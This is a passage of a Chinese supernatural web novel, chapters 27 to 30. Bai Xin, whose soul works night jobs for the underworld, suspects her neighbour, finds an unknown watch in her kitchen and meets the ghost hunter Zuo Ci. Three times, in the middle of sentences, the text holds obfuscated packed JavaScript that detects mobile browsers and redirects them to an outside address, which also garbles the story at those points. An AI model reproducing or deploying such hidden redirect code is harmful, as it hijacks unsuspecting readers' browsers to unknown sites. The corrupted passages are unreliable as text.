“白云区太阳小区27栋702。”她对着机车说道,想看看这车到底怎么启动。 话音刚落,车身忽然一震,歪斜的车立马扶正,白心也顺带着坐正了,整个人像一只小豹子趴在车上。 剧烈的马达声响起,白心听着机车轰隆的启动声,却没有感觉到震动。她带着头盔,看见车头上方的地图里扎着一个红色图标,目的地正是她家。 她右手握住车把,向下一拧—— 拧不动。 正在诧异中,机车宛如一只扑向食物的猎豹般突然扑了出去,白心感觉到她整个人都向后仰了一下,连忙把身体伏低。 两边的街景开了倍速般在她的视野里后退,她低着头,咬紧牙关,慢慢睁大眼睛,抬起头—— 好快。 机车在马路上飞驰着,完美避开各种路障,白色的白心戴着白色头盔,骑着白色的机车穿梭在天空漏出的一抹白色光线里。 天要亮了。 一车一人无视所有阻碍,一往无前向前冲刺着,似乎要把一切甩在身后。白心伏着身体,看着前方,这目中无人破开一切冲向远方的感觉让她的心跳微微加速—— 好爽。 半小时后,机车稳稳停在白心楼下。 白心直起身来,看见天光大亮,远处的天空已经翻出鱼肚白,一抹金色逐渐探头。 她摘下头盔,轻喘着气,看着远方太阳升起的方向—— 真的好爽。 原来骑车这么爽。白心的额头微微冒汗,心情却豁然开朗,仿佛打开了新世界的大门。她坐在车上,像一只捕获了猎物的猎豹,兴奋、昂扬、充满力量。 手环忽然震动,她低下头,抬起手腕点开手环,屏幕亮起。 “大厅”的右上角出现了一个红点。 来了。她的第二单。 点进大厅,新任务列表孤零零挂着一个黑框,下面绿色的“抢单”二字十分抢眼。 点开黑框,画面开始播放。 白心盯着屏幕,微微加速的心跳忽然漏了一拍,因为,她看到了一个熟悉的场景—— 蓝天幼儿园。 28.诡异的邻居 白心心里咯噔一声,视频里的画面正好是蓝天幼儿园的大门,大门右边是个很小的保安亭,左边立着一颗巨大的香樟树——那是她白天和保安对视的地方。 镜头逐渐往里,白心终于看到她白天进不去的地方。蓝天幼儿园和第三完全小学共用一个校区,大门进去是一条长长的跑道,旁边是水泥地篮球场,跑道约两百米,尽头处就是蓝天幼儿园。 白心骑在机车上,随着镜头的深入,心跳越来越快,眉毛也越皱越紧。 “砰——” 旁边突然传来巨大一声,白心吓得一激冷,赶忙按了暂停。 抬起头一看,一颗排球砸在她面前的空地上,反弹了几下后溜向前方。 一只黑白花色的边牧从黑暗的楼道里冲出来,长鼻子追逐着排球跑,白心看着那只狗,又看向狗冲出来的地方——一个穿着全套跑步装备、身材矫健的女人从楼道里走出来。 她扎着高高的马尾,精神抖擞,边做高抬腿边朝边牧喊道:“焦糖,过来!” 那只名为焦糖的边牧听到主人的呼唤,立马用狗鼻子滚着排球朝主人的方向跑了过来,女人拿出一根长长的牵引绳,开始给边牧套绳子。 原来是遛狗人士。白心抬起手腕一看,五点四十分。 只有遛狗的人才会每天雷打不动早起。 一人一狗站在楼道门口,主人弯着腰聚精会神地给狗穿绳,那只边牧雄赳赳气昂昂地挺着胸脯坐在地上,面朝白心的方向哈着气。 白心仍然保持着坐在机车上的姿势,也面朝着她们。 下一秒,一人一狗的视线对上了。 糟糕。白心看着突然停止哈气、喉咙发出微微低吼的边牧,心中警铃大作。 ——不会看得见她吧?她想起手环告诉她的,动物不能直接看见,但是能感应到。 人眼对狗眼,互相试探着。 突然,焦糖叫了一声。 完了,白心心里一沉。果然能看见,狗中博士真不是盖的。 似乎是看到白心的气势弱了几分,焦糖又连续叫了几声,声音越叫越大。这咋办?白心有点慌乱,员工手册也没讲被动物发现了该怎么办啊?这叫得她不仅耳朵疼,而且还会扰民吧?这才不到六点啊! 下一秒,狗头上落下一个响亮的巴掌。 “别叫!”主人直起身来,紧紧抓着狗绳,“没礼貌!” 白心:? 什么意思?白心错愕,连主人也看得见她吗? 白心低头看了眼自己,确实还是透明的,不应该啊,人怎么能看得见她呢?难道又是一个捉鬼师? “抱歉,”女人不好意思笑了笑,朝白心微微鞠了一躬,“她不是故意的。” 正在混乱中,白心听到身后传来轻轻的一句: “没事。” 回过头,一个熟悉的身影印入眼帘。 白心瞪大了眼睛,看见高姐站在她的身后,一身黑色长袍睡衣,右手夹了支烟。 她猛地吸了一口,吐出长长的白色烟雾,右手一捏,烟头就被她掐灭,顺手丢在了旁边的垃圾桶里。 这…… 白心惊呆了,她啥时候下来的?还是她一直在这里? 高姐裹了裹身上的黑袍,似乎很冷的样子,缩了缩脖子,趿拉着她的旧拖鞋就朝着楼道走。 她从白心的旁边走过,白心的头随着高姐移动的轨迹转动,直到她走到了女人和狗面前才停下。 高姐看着刚刚对她狂吠的狗,伸出手,笑着揉了一下狗头。 “小东西。”她淡淡说道,嗓音有点沙哑。 摸完,她绕过狗,径直朝楼道里走了进去。 白心见状赶紧下车,迅速把新任务接了,把机车和头盔都收进手环,关掉手环跟着高姐走。 来不及仔细看任务了。她想,等会儿再看。 女人抱着排球,牵着边牧离开,白心走进敞开的单元门,转头看见焦糖回头朝她看了一眼。 她把头扭回来,紧紧盯着前面的女人。 也没空管狗了。 白心抬起手腕,此时已经五点五十分了,还有十分钟她就要回到自己身体里了。 她抬起头,看着高姐的背影,脑子里忽然“叮——”的一声,冒出了一个想法。 或许…… 白心看到她的头发微微凌乱,两只手抱着自己,好像很怕冷。她很瘦,整个人薄薄的一片,两边的肩膀像两把薄刀,毫不留情地撑着她的黑色睡袍,锋利得似乎随时能把衣服划破。 高姐刚抽完烟,白心还能闻到她身上残留的一丝烟味,她看到高姐衣服的左口袋里装着一个烟盒。 她专门下来抽烟?白心想,没必要啊,想抽烟在家里抽不就行了?干嘛要下来抽? 难道下来扔垃圾?她又想,不过谁早上六点不到下楼扔垃圾啊? 白心边想边跟着高姐,高姐慢慢向上走着,似乎是年纪大了腿脚有些不便,走得格外慢。白心跟在后面,看见高姐的左脚好像有点跛,肩膀也一高一低,左边低右边高。 她不禁想起高姐的左脸,那么长的一道疤—— 她忽然打了个寒颤。 因为她莫名其妙想到一个可怕的点,连她自己都不寒而栗——高姐会不会是,身体整个左半边都受过伤? 此念头一出,她立马骂了自己一句神经病,平时真是无厘头的灵异恐怖故事看多了,这都什么牛头不对马嘴的想法。 然而,她抬起头,高姐的行为确实让人无法忽略。 ——前天晚上出门的时候,高姐趴在她的门上看她,用的右眼。 ——昨天中午在公交站台对视,高姐的左眼明显比右边小,而且无神。 白心身上的鸡皮疙瘩一时之间全冒了出来,好像进入了什么诡异的规则怪谈游戏,一个人怎么可能只有左半边身体受伤?这是什么奇怪又恐怖的设定? 她伸出双手抱着自己两边的胳膊,不断地上下搓动,试图把鸡皮疙瘩搓掉。 一人一鬼向上走着,鬼在后面怕得瑟瑟发抖,人在前面走得慢慢悠悠,白心忽然听到,高姐发出了一种奇怪的声音。 她们之间大概有四五个台阶的距离,白心抬起头,看见高姐仍然保持着很慢的速度,脚上的拖鞋也规律地发出“啪塔啪塔”的声音。 但是,在这规律的声音里,还夹杂着另一种规律但很轻的声音。 白心竖起耳朵,仔细辨认,听见声音好像是从高姐的鼻子里发出来的。 呼吸声。 不,不是普通的呼吸声。白心侧着头,又向上走了两个台阶,两人之间的距离更近了。 是一种漏气般的呼吸声。白心听到,因为走得很累,高姐的呼吸明显加快,并且气息变重,在一呼一吸之间,有一种类似于她家猫平时撒娇的呼噜呼噜的声音。 白心的眼睛猛然一亮——高姐肺部有问题? 她忘了从哪儿看到的,肺部受伤的人就会发出这种漏气的声音。白心皱着眉,准备再仔细听一听,高姐的拖鞋声就停止了。 她抬起头一看,哦吼,到家了。 她看了一眼手环,五点五十七。七层楼走了七分钟,相当慢了。 高姐站在两扇大门之间,佝偻着腰,努力喘着气,没有着急开门。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16822367|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有了拖鞋声,高姐的呼吸声更加明显,白心皱着眉,听见高姐每次呼吸都发出风箱损坏一样的声音。 缓了一会儿,高姐掏出钥匙,准备开门进去。 钥匙刚碰到门锁,她却像忽然想起了什么似的,回头看了一眼白心家的大门。 白心眼皮一跳,心说不会吧,又看? 然而高姐只是往下面看了一眼,便回过头,打开门进去了。 白心也跟着往下看,除了一袋她没丢的垃圾,她家门口什么都没有。 她在看什么? “砰——”地一声,关门声响起,把白心从思考中震醒。 她深吸一口气,向上走了两个台阶,向左看——高姐家的深棕色大门紧闭。 抬起手,五点五十九分了。 算了,她放下手,否定了自己之前的想法。 她想跟着高姐进她家看一看。 高姐的一举一动实在太诡异,虽然是邻居也同为女人,但作为一个单身无孩看起来就像只弱鸡手无缚鸡之力的年轻女孩来说,天天有人趴在猫眼上看她也不是个事儿吧? 她向来不以最坏的恶意揣测别人,但也不能人都趴到她家门口了还装没看见吧。 白心叹了口气,还是想另外的办法吧,不要私闯民宅。 或许可以安个监控?陈灵跟她说了八百遍让她装个监控,总是被她嗯嗯嗯地搪塞了过去,想着都穷成这样了还能被小偷盯上那说明她命是真穷。 看来还是要买一个,起码拿着监控去找邻居对峙,对方也不能睁着眼说瞎话否认自己没做过。 她边想边穿过了自家的大门,一路飘到了卧室,看见了自己安详的睡姿。 爸了个根的,她边骂街边躺在自己身体旁边,忙了一晚上等会儿还要起来上班。 周一周一,老板归西。 辞职吧?白心闭上双眼,心想自己反正死了,还上什么班啊,要不等会儿去跟老板提离职?不,她要狠狠地把辞职信甩到老板那张肥头大耳的猪脸上! 想生气?跟死人生去吧! 这样想着,她的意识突然一片模糊,几秒之后,她觉得身体沉重了许多。 她睁开眼,抬起两只手,看见自己已经回到身体里了。 白心立马坐起来,没有预料中的疲惫,脑子也还算清醒——灵魂出体之后的事仿佛做了一场梦。 还好。她松了口气,还好不会像白天那样消耗她的精力,不然二十四小时连轴转,她的灵魂还没被鬼打死就先殒灭了。 白心坐着发了会儿呆,突然想起自己还没洗澡,于是立马下床,抱着洗好的睡衣和毛巾前往浴室,又突然想到煤气还没开,于是转了个方向前往厨房。 她走到厨房,打开洗手池下面的一个柜门,试图打开煤气阀。 白心抱着衣服,弯着腰,右手伸进去摸到阀门,轻轻一拧。 拧不动。 嗯?白心觉得奇怪,怎么这么紧,平时不是一拧就开了吗。 下一秒她又想起来,前天中午陈灵跑过来给她做了一顿饭,估计是她拧的。这个女人向来力大如牛,怪不得她拧不开。 白心咬着嘴唇,将右手朝顺时针方向扭了一下,然后握住阀门,逆时针方向用力一拧—— 开了。 呼——她舒了口气,总算是打开了。 她直起身来,正准备关门,然而余光忽然瞟到了煤气罐的角落。 好像有个东西。 白心又把腰弯下去,光线昏暗,她仔细辨认,几秒后突然瞪大了双眼。 一只手表。 一只不属于她的手表。 29.手表 洗完澡,白心披着半干的头发坐在餐桌前。 此时是早上六点四十分,天色已经完全亮了,窗外鸟鸣声不绝,金色的阳光从半敞的窗户里跑进来,照在木质的餐桌上。 那只陌生的手表被她放在桌面上,太阳光照在表盘上,银色的表带反射出略微刺眼的光芒。 白心坐在桌边,沉默地盯着这只手表。 ——谁的? 人在突然遭受重创或者接收到超出认知的重大信息的时候第一反应不是惊慌,而是冷静,超乎寻常的冷静。 似乎是大脑怕人无法承受结果,率先屏蔽了那些该有的剧烈情绪。 屋内空气流通,丝丝凉风不时吹过,白心刚洗完澡,思维异常清晰。 陈灵的? 不是,陈灵的手表不长这样,而且她不会乱丢乱放。 房东的? 也不是,交房的时候陈灵和她三百六十度全方位打扫了一遍屋子,连一只小强的尸体都没发现,更别说是这么大只的手表。 上一任租户的? 更不可能,先别说打扫了卫生,上一任租户是一个超级洁癖人士,绝不会允许自己的手表就这样丢在地上。 ——那是谁的? 排除了三个错误答案,白心依旧冷静,继续认真分析。她就是这样,遇到小事的时候容易焦虑,一碰到大事反而好了,像启动了什么程序似的,冷静得跟计算机一样。 白心仔细回想,上一次用煤气是什么时候? 周六,陈灵过来做饭。 再上一次是什么时候? 周五。 寻找东西的最好办法就是沿着时间线追根溯源,这方法她屡试不爽,已经成功用此法找到了电视机遥控器、空调遥控器、她的皮筋等经常被她乱丢乱放常年找不到的东西。 反过来亦如是,多了一个东西,也可以用这种办法思考它从何而来。 周五晚上,她参加完公司的团建,回家用煤气洗了澡。 她继续回想,那个时候煤气罐下面有手表吗? 不记得了。周五她喝了很多酒,脑子晕晕乎乎的,能坚持洗完澡已经是奇迹了,路都看不清,更别说乌漆嘛黑的煤气罐柜子了。 再上一次呢? 微风吹在白心的发丝上,十分钟过去了,她的头发已经差不多干了,手表的指针不疾不徐地走着,除了窗外的鸟鸣,空气里只剩下指针机械转动的声音。 白心挖掘着自己的记忆,想起来再上一次用煤气,是周五的早上。 因为那天她要参加公司的一个重大会议,上完班之后还要和同事们一起去团建,所以她用了热水,把她的大油头洗了两遍。 那时候煤气罐下面有东西吗? 没有。 她记得很清楚,周四她下班得早,所以决定在家吃晚饭,还把陈灵也叫来了。回到家第一件事就是洗澡,洗完澡就开始做饭,饭是她做的,碗是陈灵洗的,所以第二天周五早上她洗头的时候,拧了半天的阀门也没拧开。 力大无穷的陈灵女士把阀门拧得和新罐一样,她用上了全身的力气,直到力竭才把阀门拧开。 那天的天气好得和今天一样,屋子里任何角落都照得清清楚楚,白心记得,那时候煤气罐下面绝对没有这么大一块手表。 她眉头微皱,程序终于运行完毕,得出了结论:手表是周五晚上出现的。 她唯独缺失了那晚的记忆。 白心的心跳突然不受控制地加速起来,情绪终于慢慢上来,结论已出,她不得不面对一个事实:有人进她家了。 想到这里,她浑身开始微微发抖,巨大的恐惧袭来,令她不寒而栗。 “白心,女,25岁,死于煤气中毒……”那晚黑无常的声音又在耳旁响起。她的大脑突然警铃大作,一个十分危险的想法从脑海深处浮现—— 有没有可能…… “来财,来,来财——”她的手机闹铃突然响起。 白心瞬间止住自己飞走的思绪,强行从恐惧中挣脱,站起来跑向自己的卧室。 她一个飞扑扑到了床上,摸到了手机关掉了闹铃,看见屏幕显示时间是七点二十分。 该起床了。 白心捏着手机,手机屏保是红色的财神爷,红色祛邪,现在却怎么也祛不走她身上的阴冷感。 天光大亮,她的五十平米小屋没有一处不被阳光覆盖,但她趴在床上,却忽然不敢回头看—— 仿佛一回头就会有一个陌生的人出现在她家。 她吞了口口水,后背寒毛直竖,刚洗完澡又汗湿了一片。白心的大脑此刻终于陷入混乱,各种想法交织在一起,像一双无形的手在她的脑子里打毛线。 邻居。 一只手突然伸进那团毛线,扯出了长长的一根,令白心混乱的大脑安静了一瞬,她想起一个人—— 她的邻居,高姐。一个趴在她门上偷窥她、行踪诡异的女人。 会不会是她?白心看着红色财神爷,想起高姐脸上那道红色伤疤。 不是有那句话吗,她想,犯罪嫌疑人往往都喜欢回到作案现场? 高姐总是趴在她的门上,会不会不是偷窥她,而是想看她在没在家,然后—— “来财,来,来财——”手机闹铃又响了,是她设置的延时十分钟再响。 她一秒按掉闹铃,一个翻身就坐了起来。 不管了,先出门。 她三下五除二套好衣服,扎好头发,戴好手环,随便往帆布包里装了一些没用的东西,衣冠整洁地站在了她家的玄关处。 嘶,她吸了一口气,往前走了两步,轻轻把脸靠近猫眼。 嗯,高姐没出门。 她退回来,重新站好,右手放在门把手上,忽然觉得自己的诡异程度也不遑多让。 谁会在没有人敲门的情况下看自家的猫眼? 虽然她事出有因,但还是觉得这样的行为诡异得有点不像人了。她的邻居时不时趴在她的门上通过一个什么都看不见的猫眼偷窥她,她在没有任何人叩门的情况下站在自己家里通过猫眼看外面,两个人随便一个人的行为都能吓死一个随机路过的胆小的路人。 唉。白心叹了口气,打开了门,这都叫什么事儿啊。 死了之后怎么比死之前还事儿多? 白心关上门,边往下走边打开了手机,点开某宝开始浏览家用监控。 好贵啊,她慢慢走着,发现这些监控最便宜也要一百块钱左右。 她不是没想过装监控,而是每次打开某宝,看见价格的时候就当没看见一样关掉了页面。她也不喜欢买这买那,上了大学之后,当同龄人都在双十一双十二蹲点抢购,她反而抱着手机无所事事。 归根到底还是穷。 她笑了一下,随机选了一个看起来还不错的价格也合理家用监控,迅速付了款。 付款的时候还是很爽的。白心想,哪有有钱人不喜欢买东西的呢? 她把手机揣回兜里,双手插着裤兜慢慢往下走着。她突然想起一句不知道从哪儿看来的话,大概意思是,只要快递还在路上,就觉得人生还是有点希望的。 她不太理解,因为她几乎没有在路上的快递。就跟她毫无希望的人生一样,活着,但没有盼头。 不是消极,而是迷茫。 安静的楼道里回荡着白心的脚步声,她听见楼下已经有很多人出门了,上班的上班,上学的上学,好不热闹。 曾经她也是这样,期待着每一天的到来,每天早上都活力十足。不知道从什么时候起,忽然觉得一切都没意思,也不再对世界抱有期待了。 ……好像就是从上班开始的吧?白心的眼前忽然浮现老板那张死人脸,恨不能一巴掌扇上去。 辞职!等下就辞! 她加速向下走,很快就到了一楼,刚出单元门,就看见一只边牧朝她扑了过来。 “哎哎哎——”她措手不及,和边牧撞了个正着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16827455|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,狗鼻子戳在她的大腿上,差点把她痛死。 “干嘛呀焦糖,”白心抱着狗,一个趔趄坐在了地上,“好痛——” “对不起对不起,”精神抖擞的主人从后面跑着赶来,连忙道歉,听见白心叫了焦糖的名字之后感到奇怪,“哎?” “你怎么知道她叫焦糖?” 白心摔了个屁股蹲,本来就没肉的屁股直接亲吻大地,宛如两个鸡蛋壳碰石头。 哦吼,白心心里大叫一声不好,怎么直接把人家名字叫出来了。 排球撞到后面的台阶后反弹了回来,滚到了白心的手边,焦糖在她怀里,一边拱她一边用鼻子拱排球。 原来是在追球。 “啊,”白心挠了挠头,胡编乱造一通,“之前有看见你在小区里遛狗来着,一边跑步一边喊她焦糖,所以……” “原来如此。” 女人灿烂一笑,微微弯腰,朝白心伸出右手:“来,我拉你起来。” “谢谢。”白心左手一伸,抓住了女人的手,女人一拉,白心就跟扶起来的阿斗一样被女人拉了起来,焦糖也顺势跑到了旁边和球玩去了。 不愧是健身人士,白心感觉到女人只是轻微一拉,她整个人就被一股巨大的力量扯了上来。她两只手往屁股后面拍了拍,试图拍掉裤子上的灰尘,边拍边说:“焦糖很热情呢。” 女人点点头,微笑说道:“她很喜欢你。” “对了,”女人突然拉住白心的胳膊,把她一百八十度旋转翻了一面,“你的裤子好像脏了。” 听见此话,白心扭过头看了一眼自己的屁股,本来就是旧款牛仔裤,此刻更是旧伤未愈又添新伤,两块黄黄的污渍牛皮糖一样贴在她的屁股两边。 “没事,”白心把头扭过来,笑了笑,边笑边拍屁股,“我上去换就行了。” 她看了一眼手环,才七点四十分,还早。 “如果你不嫌弃的话,”女人忽然说道,“去我家换吧?” 嗯? 白心看着女人,一时间没反应过来。 女人笑了笑:“你应该是去上班吧?我就住二楼,你不嫌弃的话可以来我家换,节省一下时间。” 啊这…… 这或许大概有点太冒昧了吧。白心想,除了小时候打屁股针,她还从来没有在别人面前脱过裤子。 “走吧,”女人却拉着她就往上走,“不要害怕,我是新搬来的,现在才跟一楼和三楼打了招呼,你不认识我很正常。” “我准备下个周末亲手做点小点心给你们送过去。”女人左手牵狗右手牵白心,有条不紊地向上走着。 新搬来的?白心想,怪不得以前没见过她,她在这住了一年半了,从来没有见过这么热情活泼的边牧。 女人走在白心前面,边走边说:“我叫左慈,你可以叫我左姐。” 左慈?白心又想,怎么好像在哪儿听过? 不过——她看着前面一身昂贵装备的女人,还有前面那条昂贵的狗,心想这么有钱的人干嘛搬到她这老小区来啊? 虽然没有幸福小区那么老,但太阳小区也可以算是这一块最老的小区之一了,除了租金便宜,没有任何优点。 算了,她又想,有钱人的喜好岂是她能随便揣摩出来的。 如果她能得知有钱的人的想法,也不至于现在穷得连电梯房都租不起。 两层楼走得毫不费力,几乎是喘几口气的时间就到了,左慈打开门,从门边的鞋柜里掏出一双设计简单但面料舒适的高档拖鞋扔在地上,率先走了进去:“进来吧,自己换鞋,我先去给你找裤子。” 白心站在门口,看着那双和她气质丝毫不符的香奈儿拖鞋,还有扑鼻而来的沁人心脾的香水味,忽然觉得有点错乱。 就像贫民窟里突然出现了一座金屋,一切都和周围格格不入。 白心抬起头,向里看去,偌大的客厅里站着一个人。 “你怎么在这?”白心惊诧问道。 30.左慈 客厅里的人手里端着一杯自制奶茶,喝了一口后笑着回答:“白心。” “你好啊。” 钟槐往后一躺,整个人窝进了柔软的沙发里,奶茶却依旧稳稳当当拿在手里,一滴未漏。 她坐在沙发上,闻了一下茶杯,长长地“嗯”了一声,闭着眼陶醉地说道: “左姐,你家的茶真是香啊。” 万年不变的开场白。白心站在门口,看着钟槐做完了这一套动作也没进门。 “你昨晚去哪儿了?”她问道,昨晚钟槐头也不回坐着劳斯莱斯飞走的场景浮现在眼前。 虽然没资格过问,她还是想问。 “没去哪儿啊,”钟槐又喝了一口奶茶,“送你到土地庙之后我就回来睡觉了。” 回来?回哪儿?白心疑惑,回这儿吗? “怎么样,”钟槐扬起笑脸看着白心,“我送你的车好用吧?” 还没回答,左慈就从卧室里钻了出来,打断了她们的对话:“抱歉,只找到了这几条比较符合你的尺码,来试试吧。” 白心和钟槐的目光一齐集中在了左慈身上,她左手一条西装裤右手一条牛仔裤,两边的肩膀上还有两条休闲裤。 左慈看见白心还站在门口没进来,疑惑问道:“快进来呀,还傻站着干嘛?” “她就是很傻。”钟槐不再看左慈,低下头喝了口奶茶,微微一笑。 谁傻?她吗?白心愣在原地,被人攻击了还跟个二愣子似的不知所措。 左慈却惊讶道:“咦?你们认识啊?” “认识,”钟槐继续喝着奶茶,头也不抬,“认识两天。” 白心终于反应过来,迅速换上香奈儿拖鞋,关上门,走到了客厅和两个人面对面。 “你们也认识?”钟槐抬起头,看着一脸懵的白心和旁边拿着裤子的左慈。 “认识,”左慈回答,“刚认识。” 白心:…… “你们也认识?”她也发问,问出了刚才两个人都问过的问题。 “认识,”两人一起回答,“认识很久了。” 说完,三个人一起沉默了。 气氛一时间变得诡异,白心心想这什么情况?她们仨两两互相认识,然后现在莫名其妙闭环了? “哎呀,”左慈笑了一声,笑声爽朗,“那真是巧了。” “你是我的同事,”她看了一眼钟槐,又看了一眼白心,“而你是我的邻居。” 同事?白心眼睛一亮,问道:“您也是看坟的?” 钟槐:“……” “不是,”左慈笑着回答,“我是捉鬼的。” 白心:? 钟槐无奈看了她一眼:“说你傻还真是傻啊,被人发现了都不知道。” 被人发现?白心想起早上左慈牵着狗给她鞠躬——原来真是在给她道歉啊? “机车不错,”左慈抬起一只手,拍了拍白心的肩膀,“很衬你。” “那是我眼光好,”钟槐将奶茶一饮而尽,把杯子放在茶几上,“谢必安刚提车就被我抢过来了。” 听到此话,左慈又爽朗地笑了几声,另一只手放在钟槐的脑袋上揉了揉:“是是是,你眼光最好了,快来帮她挑一下哪条裤子比较适合她。” 白心才想起来自己是来换裤子的,抬起手一看,快八点了。 说她傻也好,被发现也罢,来不及管那么多了——要迟到了啊啊啊!! 迟到一次就是五十块钱啊啊啊!! “这条。”钟槐的手指伸出来,指着左慈右手上的牛仔裤。 下一秒,左慈就感觉手里一空,看见白心以迅雷不及掩耳之势抽出了那条牛仔裤,整个人跟早上她看到骑着机车的她一样,变成了一道白色残影冲向了她家客厅的窗帘。 白心抱着裤子冲进窗帘,缩在墙角两秒脱下裤子,又三秒穿上新裤子,从进去到出来一共不到十秒。 “谢谢您!”白心扛着自己的旧牛仔裤就往大门跑,“裤子我下班再还给您,我现在要迟到了!” 作为踩点达人,她给自己计算过,最晚七点五十五要出门,不然再怎么赶都会迟到。 别问她怎么知道的,时间就是金钱,曾经被她因为赖床或者各种事件而浪费的时间都变成了她工资条上明晃晃扣掉的钱。 “我送你!”左慈看着在门口换鞋的白心,大声说道。 白心打开大门,迅速冲了出去,关上门的一瞬间回答道:“不用麻烦了!” 她把自己的旧牛仔裤塞进背包,又从包里拿出一串钥匙,三步并两步向下跨着台阶,很快就到了楼下。 她的右手拿着钥匙一按,不远处车棚下一辆电动车立即叫了一声。 白心跑向自己的电动车,拔掉充电线塞进座位底下,两腿一跨就骑了上去。她把包挂在下面挂钩上,戴上头盔,把车身摆正,脚撑打上去,双手握着车把倒退,退出车棚后右手一拧,电动车就完美启动了。 她以三十五码的高速冲出小区,目光凶狠,不可阻挡。 身后不远的楼上传来左慈响亮的声音:“注意安全!!” 已经很注意了。白心想,不然三十五码不会是她的极限。 她举起左手挥了挥,表示自己听到了。然后迅速把手放下来,稳稳把着车把。 其实按照她随性的生活态度来讲,骑个电驴根本没必要这么谨慎。要知道大街上不戴头盔的人多了去了,虽然也有怕交警抓扣钱的原因,但更多的是她安全意识很足。 别问,问就是摔过。 白心骑着她的小电动,像一条鱼游走在车流之中,因为时间紧,她微微提速,左钻右穿,很快就骑到了等红灯车群的第一排。 这就是你们有钱人不懂的地方了。白心的左脚踩在地上,右手扶了扶自己的头盔,心想豪车虽好,但就灵活性这点来看,不如电驴。 她抬起头,看见天空一片澄澈。昨晚的劳斯莱斯突然浮现在她眼前,她啧啧啧了几下,心说地府看来比人间更胜一筹,连车都能在天上飞。 有钱人连天上的交通都要垄断,白心想,还好她投胎到了人间,这要是在地下,还不知道会被发卖到哪做黑奴。 当然了,她现在和黑奴也没啥区别。 正想着,前方交警响亮的哨声响起,白心立刻条件反射般地拧动右手的车把,启动了她的电驴。 车群和人群一起向前走着,宛如海里的鱼群游过,白心在第一排,目不斜视,直线向前骑着。 从她家到公司要过三个红绿灯,运气好的话一个红灯都不要等,运气不好的话就跟今天一样,从第一个红灯开始就要等。 啧。白心又啧了一声,心想今天大概率又要迟到了。 “白心——” 后面传来一道浑厚的声音。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16833193|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白心沉浸在自己的世界里,根本没听见这夹在人群聒噪声和汽车鸣笛声之间的雄浑一声。 “白心——”后面的人骑了上来,努力和她并排,又叫了她一声。 白心这才反应过来有人叫她,向左一看,这不邹家财吗。 她隔壁工位的小胖子。 “白心,”邹家财骑着明显和他吨位不符的电驴,朝她憨厚笑道,“这么巧。” 巧吗?白心看着邹家财的笑容,心说第一次遇到可以说巧,咱俩这天天上班都能遇到的专业踩点户也能说巧? 白心把头转过来,瞟了一眼手腕,八点十分,就看后两个红灯要不要等了。 她没回答邹家财的话,对着他呵呵一笑,油门一拧就加速骑到了前方。 “白心——”邹家财却像块牛皮糖一样又粘了上来,又和白心并排骑着。 “干嘛!” 本来迟到就烦,这人还话这么多,有什么话不能到公司去讲吗?白心没好气,她看到不远处第二个绿灯马上就要变红了。 今天真是撞鬼了。白心想,早上被邻居吓一跳,回家莫名其妙发现一块手表,出门撞上了能看见她的左慈,换裤子的时候遇见了钟槐,现在骑车上班,红灯等个没完,旁边还有个不停说话的聒噪的同事。 一大早的信息轰炸让她的大脑十分混乱,烦死了! 白心猛地一骑,迅速骑到了第二个红灯处,依旧在第一排。 邹家财不明所以跟上来,不知道一向平和的白心今天怎么脸这么黑,虽然快要迟到了,但是白心之前迟到的次数也不少,他还从来没见过她这么烦躁过。 “白心——”他把车骑到白心旁边,和她一样停了下来,又喊了一遍。 白心心里的火一下就窜起来了,心说你有病啊!喊喊喊光喊又不说话,叫魂啊! 她闭着眼,狠狠地吸了口气,睁开眼努力微笑,转头看向邹家财:“请问您有什么事?” 邹家财却又憨厚一笑,抬起手挠了挠后脑勺,说道:“那个,你上周五喝醉了……还好吧?” 白心白眼一翻,把头转过来。 这问的,她都不知道怎么回答。她不仅喝醉了,她还死了呢,白心想,说出来吓不死你。 邹家财见白心没回答,继续说道:“你还记得那天晚上发生了什么吗?” 白心:? 什么意思?白心又把头转过去,看着邹家财那张肥脸。 她确实不记得发生了什么,但是他为什么这么问? 邹家财放下抠后脑勺的手,手重新放在车把上,说道:“你真不记得了?” 白心想你有屁就快放,吞吞吐吐的跟便秘似的让人好不来火,她微微一笑:“不记得了,发生了什么?” 交警的哨声又响起,邹家财率先向前骑去,说道:“先走吧。” 白心只好跟上去,这次是她追着邹家财了,她必须知道那晚发生了什么。 “你喝醉了,”邹家财边骑边说,“跑到桌子上给我们所有人跳了一支舞。” 白心:? 白心在风中凌乱,似乎没听懂。 邹家财看着前方,语气真诚但实在有点忍不住,笑着说道:“你边唱边跳,说这舞公司许久不见了。” “什么舞?”白心失去了所有力气和表情,气若游丝地问道。 “惊鸿舞。”邹家财回答。 31.上班 